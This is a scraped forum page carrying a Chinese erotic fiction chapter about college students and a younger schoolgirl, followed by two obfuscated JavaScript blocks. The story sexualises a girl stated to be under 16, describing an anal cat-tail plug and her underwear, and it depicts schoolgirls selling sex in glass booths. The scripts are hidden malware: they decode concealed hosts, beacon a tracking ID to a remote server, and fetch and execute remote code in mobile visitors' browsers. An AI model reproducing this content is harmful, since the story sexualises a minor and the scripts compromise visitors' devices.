这都是题外话,问题在于舒月除了穿着这一身有助于提高性犯罪发案率的校裙之外,发上还别着一对猫耳头饰,而且校裙后面好像不太正常的翘起来了一大块”这个是猫耳吗?卡哇依哦!“淘气的若蹙说的是发饰,可是手却伸到了舒月妹妹的校裙后面:”这是什么呀?毛茸茸的?连在,连在……学妹身体里的什么地方呀?“若蹙明知故问,欣赏学妹的窘态也是一件美事。

舒月羞红了脸:”这是我的工作时候要带的道具。我是今天第一次来上班,老板说女仆装没有我的号,今天就先穿校裙上班……“粉脸越来越红,声音也越来越低。除了舒月妹妹自己的原因,还有一半得归功于若蹙那只不老实的手,已经悄悄的摸上了学妹小巧可爱的臀部:”还是蕾丝的呢,看不出来学妹这么清纯的女孩子也有些小秘密哦……“”不是……不是啦……“舒月慌乱的为自己辩护:”都是,都是慕容学姐啦,她非要人家穿这个呢,这个工作也还是慕容学姐……帮我找的……“慕容璃……若蹙兴趣索然的抽出手:”又是她,这个百合狂。男人也要女人也要,她的胃口也太大了。“”小声点,“若颦温柔的抓住妹妹的小手:”舒月,把菜单给我们吧。今天有什么好菜啊?“舒月感激的看了温柔绝顶的若颦学姐一眼,向她推荐道:”今天的特色菜是香酥乳鸽还有红烧狮子头。“”我不想吃鸽子肉。“若颦有些厌恶的道。因为她养了两只很可爱的鸽子。

”嗯,葱爆蟮丝怎么样?今天才送来的,很新鲜。“”这个好,就要这个了,“若蹙翻弄着手上的菜单:”来个素的山笋烧豆皮吧。嗯,再来个毛豆炖小鸡,饮料——姐,你喝什么?“”加个汤吧。“”那就再来个三鲜汤好了,快一点。“”好的,“学妹乖巧的给两位学姐行了一礼:”我会去催的。“若蹙望着舒月裙后翘起的猫尾,若有所思的道:”什么时候小炒也学会用猫女来招徕顾客了?才宅了一个星期,我就这么火星了?“不过,看她的表情,似乎是期待更多于困惑。

不管承包了小炒的那个肥猪老板是怎么想的,孪生姐妹要的饭菜还是很快就来了。反正这时候小炒里也没有什么客人,若颦便拉了舒月一起坐下来吃。小学妹扭捏了半天,最后还要一向都顶顶温柔的若颦学姐端起学姐的架子来才肯乖乖坐下。只是,那条讨厌的猫尾的确给她带来了很多不方便。

”嗯……好紧张啊……“若蹙帮她把黑色百褶校裙后边撩起来,将那条半米长的猫尾穿过靠背椅的空档再让她坐下来。这样一来,本来就不太够长的校裙更短了,只要她稍稍一动,就会露出粉红色的蕾丝小内裤。

而且,她差不多是直接坐在冰凉的椅面上,两条大腿紧紧的贴在一起,而在这一切的一切当中,最让她难过的还是塞在后面那条猫尾留在体内不锈钢圆球。

而坐下来之后,那个东西似乎在肠道里随着重力逐渐的往下落,而她这个姿势又不好用力,实在是……她现在只想大喊一声”难受死了!“然后赶快把那个东西拔掉。

可是,可是,这里是有人在看着的场合,少女内心的羞耻感不容许她当众做出这样的事情来。

”学姐,学姐们的假期过的很愉快吧。“少女潮红的面孔真的是卡哇伊啊……若蹙心里默念着,忽然擡头一看坐在对面的姐姐,只见她也传过来一个的确如此的眼神。孪生子的心灵感应又出现了呢。

”一般般咯,“若蹙轻轻地爱抚着自己明显凸起的小腹:”只是在宿舍睡睡觉,看看电影而已。“”你还说呢,“说起这个来,若颦就忍不住要埋怨妹妹几句:”跟你说了多少次了,有了宝宝就不要趴在电脑前了,你就是不听话。“”可是……“若蹙撒娇的样子可爱极了:”人家已经戒了猫猫和狗狗,连本本都不让人家碰的话,那不是要无聊死了啊。“”跟你说正经的你总是拿小孩子脾气。“姐姐用责备的眼神看着妹妹:”今晚可不许玩疯了,我可不想半夜的陪你去医院。“”知道了,好姐姐,来吃个鸡翅膀。“若蹙最会见风使舵了,夹起一块鸡翅膀递到姐姐的碗里,完全一派撒娇的模样,弄得若颦连连摇头,拿这个三分刁蛮七分活泼的妹妹实在是没辙。

”学姐们今天晚上要出去啊,“舒月有点儿小小的好奇,别的同学们都在从不同的地方往学校赶,她们怎么还出去呢?

”不去远,就在火炬广场那儿,“若蹙笑嘻嘻的道:”橱窗里的少女,你该知道吧。“舒月恍然大悟道:”你们是要去那里啊!“旋即又羡慕的道:”可惜,我还没有满16周岁,不然我也可以……“所谓的橱窗里的少女,指的是坐在一个只有一张床一个柜子一台饮水机的透明玻璃柜里的女人。男人们可以隔着玻璃选择自己中意的女人,然后从前门刷卡进入。这项半自助的性交易服务是三年前由一个庞大的跨国金元帝国BigBrother推动建立的。技术先进,设备完善。在那个小柜子里面除了提供避孕套和紧急事后丸这些必需品之外,还提供种类丰富的情趣道具,因而这项服务一经推出,便受到了广大市民的强烈拥护。

在听取了一些保守人士——通俗说法是”老派人士“的意见之后,州政厅做出了两项规定,第一,要求进入玻璃柜提供性爱服务的女性年龄必须满16周岁——此举虽然受到了议会反对党罗莉党的强烈抗议,但是经过民主表决之后,仍然以微弱多数通过。第二,对”性爱服务提供方进入窗口“——也就是通俗所谓的”后门“增加了一个限制,必须持有本州居民登记卡才可以进入。本地报纸《河蟹晚报》戏称是”为玻璃柜的菊花上加了一把地方保护的锁“。这个动议在州议会以高票获得了通过。

此外,州政府出于维修管理这些玻璃柜的需要,将从顾客的刷卡消费中抽取20%的交易税。但是后来经过罗莉党的争取,对注册在案的女学生们只抽取5%的税。

距离附中很近的火炬广场,在远离市中心的卫星小镇上。是这个镇子的中心,去年春天的时候在当地市民的强烈唿唤下,终于设置了50台玻璃柜,后来由于镇民的强烈反映,又增加了30台。这个数目本来足以满足这个镇子附近六七所高中女生的需求了。但是,谁知道金融危机漂洋过海的来了,镇子原来支撑的产业都垮了,良家妇女,贤淑人妻也不得不随着上高中的女儿出来卖春。于是,镇民们又派出请愿团去市政厅大厅里喝免费茶,终于要来了30台新款的玻璃柜。

伴随着卖春夜兴旺起来的还有赌场,赌场是个好东西,能让金钱获得千倍百倍的流转速度,赢了钱的自然可以出去大把大把的把钱花在玻璃柜里那些千娇百媚,燕瘦环肥不一般的娇娃上(自然她们的收费也贵一些)。输了钱的,也想从女人身上找回征服者的感觉,自然也可以去那些收费较低的女人一泄为快。反正供顾客进入的前门上淡蓝色的液晶窗口上明码标价,童叟无欺。

就这样,这个镇子,不,应当说这个城市,这个州,这个都在经济衰退的过山车落差中找到了紧急制动的阀门,那就是女人的肉体,和男人的运气。

路过看看。。。推一下。。。

是最好的论坛


上一篇:婚姻男女(又名离婚男女or落叶) 7

下一篇:和两个淫荡美女的一夜情游戏


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};